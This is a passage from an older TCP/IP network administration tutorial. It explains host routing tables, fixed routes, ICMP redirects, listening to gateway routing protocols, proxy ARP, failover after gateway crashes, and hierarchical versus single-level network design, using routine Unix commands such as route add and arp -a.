query, or when a program attempts to look up a host +name before the name server has finished loading all of the names from +a master name server. + + + +5.1 How datagrams are routed + + +If your system consists of a single Ethernet or similar medium, you do +not need to give routing much attention. However for more complex +systems, each of your machines needs a routing table that lists a +gateway and interface to use for every possible destination network. +A simple example of this was given at the beginning of this section. +However it is now necessary to describe the way routing works in a bit +more detail. On most systems, the routing table looks something like +the following. (This example was taken from a system running Berkeley +Unix, using the command "netstat -n -r". Some columns containing +statistical information have been omitted.) + + Destination Gateway Flags Interface + + 128.6.5.3 128.6.7.1 UHGD il0 + 128.6.5.21 128.6.7.1 UHGD il0 + 127.0.0.1 127.0.0.1 UH lo0 + 128.6.4 128.6.4.61 U pe0 + 128.6.6 128.6.7.26 U il0 + 128.6.7 128.6.7.26 U il0 + 128.6.2 128.6.7.1 UG il0 + 10 128.6.4.27 UG pe0 + 128.121 128.6.4.27 UG pe0 + default 128.6.4.27 UG pe0 + +The example system is connected to two Ethernets: + + controller network address other networks + il0 128.6.7 128.6.7.26 128.6.6 + pe0 128.6.4 128.6.4.61 none + +The first column shows the name for the Ethernet interface. The +second column is the network number for that Ethernet. The third +column is this computer's Internet address on that network. The last +column shows other subnets that share the same physical network. + +Now let's look at the routing table. For the moment, let us ignore +the first 3 lines. The majority of the table consists of a set of + 21 + + + +entries describing networks. For each network, the other three +columns show where to send datagrams destined for that network. If +the "G" flag is present in the third column, datagrams for that +network must be sent through a gateway. The second column shows the +address of the gateway to be used. If the "G" flag is not present, +the computer is directly connected to the network in question. So +datagrams for that network should be sent using the controller shown +in the third column. The "U" flag in the third column simply +indicates that the route specified by that line is up. (Generally a +route is assumed to be up unless attempts to use it consistently +result in errors.) + +The first 3 lines show "host routes", indicated by the "H" flag in +column three. Routing tables normally have entries for entire +networks or subnets. For example, the entry + + 128.6.2 128.6.7.1 UG il0 + +indicates that datagrams for any computer on network 128.6.2 (i.e. +addresses 128.6.2.1 through 128.6.2.254) should be sent to gateway +128.6.7.1 for forwarding. However sometimes routes apply only to a +specific computer, rather than to a whole network. In that case, a +host route is used. The first column then shows a complete address, +and the "H" flag is present in column 3. E.g. the entry + + 128.6.5.21 128.6.7.1 UHGD il0 + +indicates that datagrams for the specific address 128.6.5.21 should be +sent to the gateway 128.6.7.1. As with network routes, the "G" flag +is used for routes that involve a gateway. The "D" flag indicates +that the route was added dynamically, based on an ICMP redirect +message from a gateway. (See below for details.) + +The following route is special: + + 127.0.0.1 127.0.0.1 UH lo0 + +127.0.0.1 is the address of the "loopback device". This is a dummy +software module. Any datagram sent out through that "device" appears +immediately as input. It can be used for testing. The loopback +address can also handy for talking to applications that are on your +own computer. (Why bother to use your network to talk to a program +that is on the same machine you are?) + +Finally, there are "default" routes, e.g. + + default 128.6.4.27 UG pe0 + +This route is used for datagrams that don't match any other entry. In +this case, they are sent to a gateway with address 128.6.4.27. + +In most systems, datagrams are routed by looking up the destination +address in a table such as the one just described. If the address +matches a specific host route, then that is used. Otherwise, if it +matches a network route, that is used. If no other route works, the + 22 + + + +default is used. If there is no default, the user should get an error +message such as "network is unreachable". + +The following sections will describe several ways of setting up these +routing tables. Generally, the actual operation of sending datagrams +doesn't depend upon which method you use to set up the routes. When a +datagram is to be sent, its destination is looked up in the table. +The different routing methods are simply more and less sophisticated +ways of setting up and maintaining the tables. + + + +5.2 Fixed routes + + +The simplest way to set up routing is to use fixed commands. Your +startup files contain commands to set up the routing table. If any +changes are needed, you make them manually, using commands that add +and delete entries in the routing table. (When you make such a +change, don't forget to update the startup files also.) This method +is practical for relatively small networks, particularly if they don't +change very often. + +Most computers automatically set up some routing entries for you. +Unix will add an entry for the networks to which you are directly +connected. For example, your startup file might contain the commands + + ifconfig ie0 128.6.4.4 netmask 255.255.255.0 + ifconfig ie1 128.6.5.35 netmask 255.255.255.0 + +These specify that there are two network interfaces, and your +addresses on them. The system will automatically create routing table +entries + + 128.6.4 128.6.4.4 U ie0 + 128.6.5 128.6.5.35 U ie1 + +These specify that datagrams for the local subnets, 128.6.4 and +128.6.5, should be sent out the corresponding interface. + +In addition to these, your startup files would contain commands to +define routes to whatever other networks you wanted to reach. For +example, + + route add 128.6.2.0 128.6.4.1 1 + route add 128.6.6.0 128.6.5.35 0 + +These commands specify that in order to reach network 128.6.2, a +gateway at address 128.6.4.1 should be used, and that network 128.6.6 +is actually an additional network number for the physical network +connected to interface 128.6.5.35. Some other software might use +different commands for these cases. Unix differentiates them by the +"metric", which is the number at the end of the command. The metric +indicates how many gateways the datagram will have to go through to +get to the destination. Routes with metrics of 1 or greater specify + 23 + + + +the address of the first gateway on the path. Routes with metrics of +0 indicate that no gateway is involved -- this is an additional +network number for the local network. + +Finally, you might define a default route, to be used for destinations +not listed explicitly. This would normally show the address of a +gateway that has enough information to handle all possible +destinations. + +If your network has only one gateway attached to it, then of course +all you need is a single entry pointing to it as a default. In that +case, you need not worry further about setting up routing on your +hosts. (The gateway itself needs more attention, as we will see.) +The following sections are intended to provide help for setting up +networks where there are several different gateways. + + + +5.3 Routing redirects + + +Most TCP/IP experts recommend leaving routing decisions to the +gateways. That is, it is probably a bad idea to have large fixed +routing tables on each computer. The problem is that when something +on the network changes, you have to go around to many computers and +update the tables. If changes happen because a line goes down, +service may not be restored until someone has a chance to notice the +problem and change all the routing tables. + +The simplest way to keep routes up to date is to depend upon a single +gateway to update your routing tables. This gateway should be set as +your default. (On Unix, this would mean a command such as "route add +default 128.6.4.27 1", where 128.6.4.27 is the address of the +gateway.) As described above, your system will send all datagrams to +the default when it doesn't have any better route. At first, this +strategy does not sound very good if you have more than one gateway. +After all, if all you have is a single default entry, how will you +ever use the other gateways in the cases where they are better? The +answer is that most gateways are able to send "redirects" when they +get datagrams for which there is a better route. A redirect is a +specific kind of message using the ICMP (Internet Control Message +Protocol). It contains information that generally translates to "In +the future, to get to address XXXXX, please use gateway YYYYY instead +of me". Correct TCP/IP implementations use these redirects to add +entries to their routing table. Suppose your routing table starts out +as follows: + + Destination Gateway Flags Interface + + 127.0.0.1 127.0.0.1 UH lo0 + 128.6.4 128.6.4.61 U pe0 + default 128.6.4.27 UG pe0 + +This contains an entry for the local network, 128.6.4, and a default +pointing to the gateway 128.6.4.27. Suppose there is also a gateway + 24 + + + +128.6.4.30, which is the best way to get to network 128.6.7. How do +you find it? Suppose you have datagrams to send to 128.6.7.23. The +first datagram will go to the default gateway, since that's the only +thing in the routing table. However the default gateway, 128.6.4.27, +will notice that 128.6.4.30 would really be a better route. (How it +does that is up to the gateway. However there are some fairly simple +methods for a gateway to determine that you would be better off using +a different one.) Thus 128.6.4.27 will send back a redirect +specifying that datagrams for 128.6.7.23 should be sent via +128.6.4.30. Your TCP/IP software will add a routing entry + + 128.6.7.23 128.6.4.30 UDHG pe0 + +Any future datagrams for 128.6.7.23 will be sent directly to the +appropriate gateway. + +This strategy would be a complete solution, if it weren't for three +problems: + + - It requires each computer to have the address of one gateway + "hardwired" into its startup files, as the initial default. + + - If a gateway goes down, routing table entries using it may not be + removed. + + - If your network uses subnets, and your TCP/IP implementation does + not handle them, this strategy will not work. + +How serious the first problem is depends upon your situation. For +small networks, there is no problem modifying startup files whenever +something changes. But some organizations can find it very painful. +If network topology changes, and a gateway is removed, any systems +that have that gateway as their default must be adjusted. This is +particularly serious if the people who maintain the network are not +the same as those maintaining the individual systems. One simple +appoach is to make sure that the default address never changes. For +example, you might adopt the convention that address 1 on each subnet +is the default gateway for that subnet. For example, on subnet +128.6.7, the default gateway would always be 128.6.7.1. If that +gateway is ever removed, some other gateway is given that address. +(There must always be at least one gateway left to give it to. If +there isn't, you are completely cut off anyway.) + +The biggest problem with the description given so far is that it tells +you how to add routes but not how to get rid of them. What happens if +a gateway goes down? You want traffic to be redirected back to a +gateway that is up. Unfortunately, a gateway that has crashed is not +going to issue Redirects. One solution is to choose very reliable +gateways. If they crash very seldom, this may not be a problem. Note +that Redirects can be used to handle some kinds of network failure. +If something fails in a distant part of the network, your current +route may no longer be a good one. As long as the gateway to which +you are talking is still up and talking to you, it can simply issue a +Redirect to the gateway that is now the best one. However you still +need a way to detect failure of one of the gateways that you are + 25 + + + +talking to directly. + +The best approach for handling failed gateways is for your TCP/IP +implementation to detect routes that have failed. TCP maintains +various timers that allow the software to detect when a connection has +broken. When this happens, one good approach is to mark the route +down, and go back to the default gateway. A similar approach can also +be used to handle failures in the default gateway. If you have marked +two gateways as default, then the software should be capable of +switching when connections using one of them start failing. +Unfortunately, some common TCP/IP implementations do not mark routes +as down and change to new ones. In particular, Berkeley 4.2 Unix does +not. However Berkeley 4.3 Unix does do this, and as other vendors +begin to base products on 4.3 rather than 4.2, this ability is +expected to become more common. + + + +5.4 Other ways for hosts to find routes + + +As long as your TCP/IP implementations handle failing connections +properly, establishing one or more default routes in the configuration +file is likely to be the simplest way to handle routing. However +there are two other routing approaches that are worth considering for +special situations: + + - spying on the routing protocol + + - using proxy ARP + + + +5.4.1 Spying on Routing + + +Gateways generally have a special protocol that they use among +themselves. Note that redirects cannot be used by gateways. +Redirects are simply ways for gateways to tell "dumb" hosts to use a +different gateway. The gateways themselves must have a complete +picture of the network, and a way to compute the optimal route to each +subnet. Generally they maintain this picture by exchanging +information among themselves. There are several different routing +protocols in use for this purpose. One way for a computer to keep +track of gateways is for it to listen to the gateways' messages among +themselves. There is software available for this purpose for most of +the common routing protocols. When you run this software, your +computer will maintain a complete picture of the network, just as the +gateways do. The software is generally designed to maintain your +computer's routing tables dynamically, so that datagrams are always +sent to the proper gateway. In effect, the routing software issues +the equivalent of the Unix "route add" and "route delete" commands as +the network topology changes. Generally this results in a complete +routing table, rather than one that depends upon default routes. +(This assumes that the gateways themselves maintain a complete table. + 26 + + + +Sometimes gateways keep track of your campus network completely, but +use a default route for all off-campus networks, etc.) + +Running routing software on each host does in some sense "solve" the +routing problem. However there are several reasons why this is not +normally recommended except as a last resort. The most serious +problem is that this reintroduces configuration options that must be +kept up to date on each host. Any computer that wants to participate +in the protocol among the gateways will need to configure its software +compatibly with the gateways. Modern gateways often have +configuration options that are complex compared with those of an +individual host. It is undesirable to spread these to every host. + +There is a somewhat more specialized problem that applies only to +diskless computers. By its very nature, a diskless computer depends +upon the network and file servers to load programs and to do swapping. +It is dangerous for diskless computers to run any software that +listens to network broadcasts. Routing software generally depends +upon broadcasts. For example, each gateway on the network might +broadcast its routing tables every 30 seconds. The problem with +diskless nodes is that the software to listen to these broadcasts must +be loaded over the network. On a busy computer, programs that are not +used for a few seconds will be swapped or paged out. When they are +activated again, they must be swapped or paged in. Whenever a +broadcast is sent, every computer on the network needs to activate the +routing software in order to process the broadcast. This means that +many diskless computers will be doing swapping or paging at the same +time. This is likely to cause a temporary overload of the network. +Thus it is very unwise for diskless machines to run any software that +requires them to listen to broadcasts. + + + +5.4.2 Proxy ARP + + +Proxy ARP is an alternative technique for letting gateways make all +the routing decisions. It is applicable to any broadcast network that +uses ARP or a similar technique for mapping Internet addresses into +network-specific addresses such as Ethernet addresses. This +presentation will assume Ethernet. Other network types can be +acccomodated if you replace "Ethernet address" with the appropriate +network-specific address, and ARP with the protocol used for address +mapping by that network type. + +In many ways proxy ARP it is similar to using a default route and +redirects, however it uses a different mechanism to communicate routes +to the host. With redirects, a full routing table is used. At any +given moment, the host knows what gateways it is routing datagrams to. +With proxy ARP, you dispense with explicit routing tables, and do +everything at the level of Ethernet addresses. Proxy ARP can be used +for all destinations, only for destinations within your network, or in +various combinations. It will be simplest to explain it as used for +all addresses. To do this, you instruct the host to pretend that +every computer in the world is attached directly to your local + 27 + + + +Ethernet. On Unix, this would be done using a command + + route add default 128.6.4.2 0 + +where 128.6.4.2 is assumed to be the IP address of your host. As +explained above, the metric of 0 causes everything that matches this +route to be sent directly on the local Ethernet. Alternatively, some +systems will allow you to get the same effect by setting a subnet mask +of 0. If you do this, you may have to take precautions to make sure +that it isn't reset by an ICMP subnet mask broadcast by a system that +knows the real subnet mask. + +When a datagram is to be sent to a local Ethernet destination, your +computer needs to know the Ethernet address of the destination. In +order to find that, it uses something generally called the ARP table. +This is simply a mapping from Internet address to Ethernet address. +Here's a typical ARP table. (On our system, it is displayed using the +command "arp -a".) + + FOKKER.RUTGERS.EDU (128.6.5.16) at 8:0:20:0:8:22 temporary + CROSBY.RUTGERS.EDU (128.6.5.48) at 2:60:8c:49:50:63 temporary + CAIP.RUTGERS.EDU (128.6.4.16) at 8:0:8b:0:1:6f temporary + DUDE.RUTGERS.EDU (128.6.20.16) at 2:7:1:0:eb:cd temporary + W20NS.MIT.EDU (18.70.0.160) at 2:7:1:0:eb:cd temporary + OBERON.USC.EDU (128.125.1.1) at 2:7:1:2:18:ee temporary + gatech.edu (128.61.1.1) at 2:7:1:0:eb:cd temporary + DARTAGNAN.RUTGERS.EDU (128.6.5.65) at 8:0:20:0:15:a9 temporary + +Note that it is simply a list of IP addresses and the corresponding +Ethernet address. The "temporary" indicates that the entry was added +dynamically using ARP, rather than being put into the table manually. + +If there is an entry for the address in the ARP table, the datagram is +simply put on the Ethernet with the corresponding Ethernet address. +If not, an "ARP request" is broadcast, asking for the destination host +to identify itself. This request is in effect a question "will the +host with Internet address 128.6.4.194 please tell me what your +Ethernet address is?". When a response comes back, it is added to the +ARP table, and future datagrams for that destination can be sent +without delay. + +This mechanism was originally designed only for use with hosts +attached directly to a single Ethernet. If you need to talk to a host +on a different Ethernet, it was assumed that your routing table would +direct you to a gateway. The gateway would of course have one +interface on your Ethernet. Your computer would then end up looking +up the address of that gateway using ARP. It would generally be +useless to expect ARP to work directly with a computer on a distant +network. Since it isn't on the same Ethernet, there's no Ethernet +address you can use to send datagrams to it. And when you send an ARP +request for it, there's nobody to answer the request. + +Proxy ARP is based on the concept that the gateways will act as +proxies for distant hosts. Suppose you have a host on network +128.6.5, with address 128.6.5.2. (computer A in diagram below) It + 28 + + + +wants to send a datagram to host 128.6.4.194, which is on a different +Ethernet (subnet 128.6.4). (computer C in diagram below) There is a +gateway connecting the two subnets, with address 128.6.5.1 (gateway +R): + + network 1 network 2 + 128.6.5 128.6.4 + ============================ ================== + | | | | | | + ___|______ _____|____ __|____|__ __|____|____ + 128.6.5.2 128.6.5.3 128.6.5.1 128.6.4.194 + 128.6.4.1 + __________ __________ __________ ____________ + computer A computer B gateway R computer C + + +Now suppose computer A sends an ARP request for computer C. C isn't +able to answer for itself. It's on a different network, and never +even sees the ARP request. However gateway R can act on its behalf. +In effect, your computer asks "will the host with Internet address +128.6.4.194 please tell me what your Ethernet address is?", and the +gateway says "here I am, 128.6.4.194 is 2:7:1:0:eb:cd", where +2:7:1:0:eb:cd is actually the Ethernet address of the gateway. This +bit of illusion works just fine. Your host now thinks that +128.6.4.194 is attached to the local Ethernet with address +2:7:1:0:eb:cd. Of course it isn't. But it works anyway. Whenever +there's a datagram to be sent to 128.6.4.194, your host sends it to +the specified Ethernet address. Since that's the address of a gateway +R, the gateway gets the datagram. It then forwards it to the +destination. + +Note that the net effect is exactly the same as having an entry in the +routing table saying to route destination 128.6.4.194 to gateway +128.6.5.1: + + 128.6.4.194 128.6.5.1 UGH pe0 + +except that instead of having the routing done at the level of the +routing table, it is done at the level of the ARP table. + +Generally it's better to use the routing table. That's what it's +there for. However here are some cases where proxy ARP makes sense: + + - when you have a host that does not implement subnets + + - when you have a host that does not respond properly to redirects + + - when you do not want to have to choose a specific default gateway + + - when your software is unable to recover from a failed route + +The technique was first designed to handle hosts that do not support +subnets. Suppose that you have a subnetted network. For example, you +have chosen to break network 128.6 into subnets, so that 128.6.4 and +128.6.5 are separate. Suppose you have a computer that does not + 29 + + + +understand subnets. It will assume that all of 128.6 is a single +network. Thus it will be difficult to establish routing table entries +to handle the configuration above. You can't tell it about the +gateway explicitly using "route add 128.6.4.0 128.6.5.1 1" Since it +thinks all of 128.6 is a single network, it can't understand that you +are trying to tell it where to send one subnet. It will instead +interpret this command as an attempt to set up a host route to a host +whose address is 128.6.4.0. The only thing that would work would be +to establish explicit host routes for every individual host on every +other subnet. You can't depend upon default gateways and redirects in +this situation either. Suppose you said "route add default 128.6.5.1 +1". This would establish the gateway 128.6.5.1 as a default. However +the system wouldn't use it to send datagrams to other subnets. +Suppose the host is 128.6.5.2, and wants to send a datagram to +128.6.4.194. Since the destination is part of 128.6, your computer +considers it to be on the same network as itself, and doesn't bother +to look for a gateway. + +Proxy ARP solves this problem by making the world look the way the +defective implementation expects it to look. Since the host thinks +all other subnets are part of its own network, it will simply issue +ARP requests for them. It expects to get back an Ethernet address +that can be used to establish direct communications. If the gateway +is practicing proxy ARP, it will respond with the gateway's Ethernet +address. Thus datagrams are sent to the gateway, and everything +works. + +As you can see, no specific configuration is needed to use proxy ARP +with a host that doesn't understand subnets. All you need is for your +gateways to implement proxy ARP. In order to use it for other +purposes, you must explicitly set up the routing table to cause ARP to +be used. By default, TCP/IP implementations will expect to find a +gateway for any destination that is on a different network. In order +to make them issue ARP's, you must explicitly install a route with +metric 0, as in the example "route add default 128.6.5.2 0", or you +must set a subnet mask of 0. + +It is obvious that proxy ARP is reasonable in situations where you +have hosts that don't understand subnets. Some comments may be needed +on the other situations. Generally TCP/IP implementations do handle +ICMP redirects properly. Thus it is normally practical to set up a +default route to some gateway, and depend upon the gateway to issue +redirects for destinations that should use a different gateway. +However in case you ever run into an implementation that does not obey +redirects, or cannot be configured to have a default gateway, you may +be able to make things work by depending upon proxy ARP. Of course +this requires that you be able to configure the host to issue ARP's +for all destinations. You will need to read the documentation +carefully to see exactly what routing features your implementation +has. + +Sometimes you may choose to depend upon proxy ARP for convenience. +The problem with routing tables is that you have to configure them. +The simplest configuration is simply to establish a default route, but +even there you have to supply some equivalent to the Unix command + 30 + + + +"route add default ...". Should you change the addresses of your +gateways, you have to modify this command on all of your hosts, so +that they point to the new default gateway. If you set up a default +route that depends upon proxy ARP (i.e. has metric 0), you won't have +to change your configuration files when gateways change. With proxy +ARP, no gateway addresses are given explicitly. Any gateway can +respond to the ARP request, no matter what its address. + +In order to save you from having to do configuration, some TCP/IP +implementations default to using ARP when they have no other route. +The most flexible implementations allow you to mix strategies. That +is, if you have specified a route for a particular network, or a +default route, they will use that route. But if there is no route for +a destination, they will treat it as local, and issue an ARP request. +As long as your gateways support proxy ARP, this allows such hosts to +reach any destination without any need for routing tables. + +Finally, you may choose to use proxy ARP because it provides better +recovery from failure. This choice is very much dependent upon your +implementation. The next section will discuss the tradeoffs in more +detail. + +In situations where there are several gateways attached to your +network, you may wonder how proxy ARP allows you to choose the best +one. As described above, your computer simply sends a broadcast +asking for the Ethernet address for a destination. We assumed that +the gateways would be set up to respond to this broadcast. If there +is more than one gateway, this requires coordination among them. +Ideally, the gateways will have a complete picture of the network +topology. Thus they are able to determine the best route from your +host to any destination. If the gateways coordinate among themselves, +it should be possible for the best gateway to respond to your ARP +request. In practice, it may not always be possible for this to +happen. It is fairly easy to design algorithms to prevent very bad +routes. For example, consider the following situation: + + 1 2 3 + ------- A ---------- B ---------- + +1, 2, and 3 are networks. A and B are gateways, connecting network 2 +to 1 or 3. If a host on network 2 wants to talk to a host on network +1, it is fairly easy for gateway A to decide to answer, and for +gateway B to decide not to. Here's how: if gateway B accepted a +datagram for network 1, it would have to forward it to gateway A for +delivery. This would mean that it would take a datagram from network +2 and send it right back out on network 2. It is very easy to test +for routes that involve this sort of circularity. It is much harder +to deal with a situation such as the following: + + + + + + + + 31 + + + + 1 + --------------- + A B + | | 4 + | | + 3 | C + | | + | | 5 + D E + --------------- + 2 + +Suppose a computer on network 1 wants to send a datagram to one on +network 2. The route via A and D is probably better, because it goes +through only one intermediate network (3). It is also possible to go +via B, C, and E, but that path is probably slightly slower. Now +suppose the computer on network 1 sends an ARP request for a +destination on 2. It is likely that A and B will both respond to that +request. B is not quite as good a route as A. However it is not so +bad as the case above. B won't have to send the datagram right back +out onto network 1. It is unable to determine there is a better +alternative route without doing a significant amount of global +analysis on the network. This may not be practical in the amount of +time available to process an ARP request. + + + +5.4.3 Moving to New Routes After Failures + + +In principle, IP routing is capable of handling line failures and +gateway crashes. There are various mechanisms to adjust routing +tables and ARP tables to keep them up to date. Unfortunately, many +major implementations of TCP/IP have not implemented all of these +mechanisms. The net result is that you have to look carefully at the +documentation for your implementation, and consider what kinds of +failures are most likely. You then have to choose a strategy that +will work best for your site. The basic choices for finding routes +have all been listed above: spying on the gateways' routing protocol, +setting up a default route and depending upon redirects, and using +proxy ARP. These methods all have their own limitations in dealing +with a changing network. + +Spying on the gateways' routing protocol is theoretically the cleanest +solution. Assuming that the gateways use good routing technology, the +tables that they broadcast contain enough information to maintain +optimal routes to all destinations. Should something in the network +change (a line or a gateway goes down), this information will be +reflected in the tables, and the routing software will be able to +update the hosts' routing tables appropriately. The disadvantages are +entirely practical. However in some situations the robustness of this +approach may outweight the disadvantages. To summarize the discussion +above, the disadvantages are: + + - If the gateways are using sophisticated routing protocols, + 32 + + + + configuration may be fairly complex. Thus you will be faced with + setting up and maintaining configuration files on every host. + + - Some gateways use proprietary routing protocols. In this case, + you may not be able to find software for your hosts that + understands them. + + - If your hosts are diskless, there can be very serious performance + problems associated with listening to routing broadcasts. + +Some gateways may be able to convert from their internal routing +protocol to a simpler one for use by your hosts. This could largely +bypass the first two disadvantages. Currently there is no known way +to get around the third one. + +The problems with default routes/redirects and with proxy ARP are +similar: they both have trouble dealing with situations where their +table entries no longer apply. The only real difference is that +different tables are involved. Suppose a gateway goes down. If any +of your current routes are using that gateway, you may be in trouble. +If you are depending upon the routing table, the major mechanism for +adjusting routes is the redirect. This works fine in two situations: + + - where the default gateway is not the best route. The default + gateway can direct you to a better gateway + + - where a distant line or gateway fails. If this changes the best + route, the current gateway can redirect you to the gateway that + is now best + +The case it does not protect you against is where the gateway that you +are currently sending your datagrams to crashes. Since it is down, it +is unable to redirect you to another gateway. In many cases, you are +also unprotected if your default gateway goes down, since routing +starts by sending to the default gateway. + +The situation with proxy ARP is similar. If the gateways coordinate +themselves properly, the right one will respond initially. If +something elsewhere in the network changes, the gateway you are +currently issuing can issue a redirect to a new gateway that is +better. (It is usually possible to use redirects to override routes +established by proxy ARP.) Again, the case you are not protected +against is where the gateway you are currently using crashes. There +is no equivalent to failure of a default gateway, since any gateway +can respond to the ARP request. + +So the big problem is that failure of a gateway you are using is hard +to recover from. It's hard because the main mechanism for changing +routes is the redirect, and a gateway that is down can't issue +redirects. Ideally, this problem should be handled by your TCP/IP +implementation, using timeouts. If a computer stops getting +responses, it should cancel the existing route, and try to establish a +new one. Where you are using a default route, this means that the +TCP/IP implementation must be able to declare a route as down based on +a timeout. If you have been redirected to a non-default gateway, and + 33 + + + +that route is declared down, traffic will return to the default. The +default gateway can then begin handling the traffic, or redirect it to +a different gateway. To handle failure of a default gateway, it +should be possible to have more than one default. If one is declared +down, another will be used. Together, these mechanisms should take +care of any failure. + +Similar mechanisms can be used by systems that depend upon proxy ARP. +If a connection is timing out, the ARP table entry that it uses should +be cleared. This will cause a new ARP request, which can be handled +by a gateway that is still up. A simpler mechanism would simply be to +time out all ARP entries after some period. Since making a new ARP +request has a very low overhead, there's no problem with removing an +ARP entry even if it is still good. The next time a datagram is to be +sent, a new request will be made. The response is normally fast +enough that users will not even notice the delay. + +Unfortunately, many common implementations do not use these +strategies. In Berkeley 4.2, there is no automatic way of getting rid +of any kind of entry, either routing or ARP. They do not invalidate +routes or ARP entries based on failures. If gateway crashes are a +significant problem, there may be no choice but to run software that +listens to the routing protocol. In Berkeley 4.3, routing entries are +removed when TCP connections are failing. ARP entries are still not +removed. This makes the default route strategy more attractive for +4.3 than proxy ARP. Having more than one default route may also allow +for recovery from failure of a default gateway. Note however that 4.3 +only handles timeout for connections using TCP. If a route is being +used only by services based on UDP, it will not recover from gateway +failure. While the "traditional" TCP/IP services use TCP, network +file systems generally do not. Thus 4.3-based systems still may not +always be able to recover from failure. + +In general, you should examine your implementation in detail to +determine what sort of error recovery strategy it uses. We hope that +the discussion in this section will then help you choose the best way +of dealing with routing. + +There is one more strategy that some older implementations use. It is +strongly discouraged, but we mention it here so you can recognize it +if you see it. Some implementations detect gateway failure by taking +active measure to see what gateways are up. The best version of this +is based on a list of all gateways that are currently in use. (This +can be determined from the routing table.) Every minute or so, an +echo request datagram is sent to each such gateway. If a gateway +stops responding to echo requests, it is declared down, and all routes +using it revert to the default. With such an implementation, you +normally supply more than one default gateway. If the current default +stops responding, an alternate is chosen. In some cases, it is not +even necessary to choose an explicit default gateway. The software +will randomly choose any gateway that is responding. This +implementation is very flexible and recovers well from failures. +However a large network full of such implementations will waste a lot +of bandwidth on the echo datagrams that are used to test whether +gateways are up. This is the reason that this strategy is + 34 + + + +discouraged. + + + +6. Bridges and Gateways + + +This section will deal in more detail with the technology used to +construct larger networks. It will focus particularly on how to +connect together multiple Ethernets, token rings, etc. These days +most networks are hierarchical. Individual hosts attach to local-area +networks such as Ethernet or token ring. Then those local networks +are connected via some combination of backbone networks and point to +point links. A university might have a network that looks in part +like this: + + ________________________________ + | net 1 net 2 net 3 | net 4 net 5 + | ---------X---------X-------- | -------- -------- + | | | | | + | Building A | | | | + | ----------X--------------X-----------------X + | | campus backbone network : + |______________________________| : + serial : + line : + -------X----- + net 6 + +Nets 1, 2 and 3 are in one building. Nets 4 and 5 are in different +buildings on the same campus. Net 6 is in a somewhat more distant +location. The diagram above shows nets 1, 2, and 3 being connected +directly, with switches that handle the connections being labelled as +"X". Building A is connected to the other buildings on the same +campus by a backbone network. Note that traffic from net 1 to net 5 +takes the following path: + + - from 1 to 2 via the direct connection between those networks + + - from 2 to 3 via another direct connection + + - from 3 to the backbone network + + - across the backbone network from building A to the building in + which net 5 is housed + + - from the backbone network to net 5 + +Traffic for net 6 would additionally pass over a serial line. With +the setup as shown, the same switch is being used to connect the +backbone network to net 5 and to the serial line. Thus traffic from +net 5 to net 6 would not need to go through the backbone, since there +is a direct connection from net 5 to the serial line. + +This section is largely about what goes in those "X"'s. + 35 + + + +6.1 Alternative Designs + + +Note that there are alternatives to the sort of design shown above. +One is to use point to point lines or switched lines directly to each +host. Another is to use a single-level of network technology that is +capable of handling both local and long-haul networking. + + + +6.1.1 A mesh of point to point lines + + +Rather than connecting hosts to a local network such as Ethernet, and +then interconnecting the Ethernets, it is possible to connect +long-haul serial lines directly to the individual computers. If your +network consists primarily of individual computers at distant +locations, this might make sense. Here would be a small design of +that type. + + computer 1 computer 2 computer 3 + | | | + | | | + | | | + computer 4 -------------- computer 5 ----------- computer 6 + +In the design shown earlier, the task of routing datagrams around the +network is handled by special-purpose switching units shown as "X"'s. +If you run lines directly between pairs of hosts, your hosts will be +doing this sort of routing and switching, as well as their normal +computing. Unless you run lines directly between every pair of +computers, some systems will end up handling traffic for others. For +example, in this design, traffic from 1 to 3 will go through 4, 5 and +6. This is certainly possible, since most TCP/IP implementations are +capable of forwarding datagrams. If your network is of this type, you +should think of your hosts as also acting as gateways. Much of the +discussion below on configuring gateways will apply to the routing +software that you run on your hosts. This sort of configuration is +not as common as it used to be, for two reasons: + + - Most large networks have more than one computer per location. In + this case it is less expensive to set up a local network at each + location than to run point to point lines to each computer. + + - Special-purpose switching units have become less expensive. It + often makes sense to offload the routing and communications tasks + to a switch rather than handling it on the hosts. + +It is of course possible to have a network that mixes the two kinds of +techology. In this case, locations with more equipment would be +handled by a hierarchical system, with local-area networks connected +by switches. Remote locations with a single computer would be handled +by point to point lines going directly to those computers. In this +case the routing software used on the remote computers would have to +be compatible with that used by the switches, or there would need to + 36 + + + +be a gateway between the two parts of the network. + +Design decisions of this type are typically made after an assessment +of the level of network traffic, the complexity of the network, the +quality of routing software available for the hosts, and the ability +of the hosts to handle extra network traffic. + + + +6.1.2 Circuit switching technology + + +Another alternative to the hierarchical LAN/backbone approach is to +use circuit switches connected to each individual computer. This is +really a variant of the point to point line technique, where the +circuit switch allows each system to have what amounts to a direct +line to every other system. This technology is not widely used within +the TCP/IP community, largely because the TCP/IP protocols assume that +the lowest level handles isolated datagrams. When a continuous +connection is needed, higher network layers implement it using +datagrams. This datagram-oriented technology does not match a +circuit-oriented environment very closely. In order to use circuit +switching technology, the IP software must be modified to be able to +build and tear down virtual circuits as appropriate. When there is a +datagram for a given destination, a virtual circuit must be opened to +it. The virtual circuit would be closed when there has been no +traffic to that destination for some time. The major use of this +technology is for the DDN (Defense Data Network). The primary +interface to the DDN is based on X.25. This network appears to the +outside as a distributed X.25 network. TCP/IP software intended for +use with the DDN must do precisely the virtual circuit management just +described. Similar techniques could be used with other +circuit-switching technologies, e.g. ATT's DataKit, although there is +almost no software currently available to support this. + + + +6.1.3 Single-level networks + + +In some cases new developments in wide-area networks can eliminate the +need for hierarchical networks. Early hierarchical networks were set +up because the only convenient network technology was Ethernet or +other LAN's, and those could not span distances large enough to cover +an entire campus. Thus it was necessary to use serial lines to +connect LAN's in various locations. It is now possible to find +network technology whose characteristics are similar to Ethernet, but +where a single network can span a campus. Thus it is possible to +think of using a single large network, with no hierarchical structure. + +The primary limitations of a large single-level network are +performance and reliability considerations. If a single network is +used for the entire campus, it is very easy to overload it. +Hierarchical networks can handle a larger traffic volume than +single-level networks if traffic patterns have a reasonable amount of + 37 + + + +locality. That is, in many applications, traffic within an individual +department tends to be greater than traffic among departments. + +Let's look at a concrete example. Suppose there are 10 departments, +each of which generates 1 Mbit/sec of traffic. Suppose futher than +90% of that traffic is to other systems within the department, and +only 10% is to other departments. If each department has its own +network, that network only needs to handle 1 Mbit/sec. The backbone +network connecting the department also only needs 1 Mbit/sec capacity, +since it is handling 10% of 1 Mbit from each department. In order to +handle this situation with a single wide-area network, that network +would have to be able to handle the simultaneous load from all 10 +departments, which would be 10 Mbit/sec. + +However this example was carefully constructed to be favorable to the +hierarchical design. If more of the traffic in the department is +going to other departments, then the backbone will need a higher +bandwidth. For example, suppose that a campus 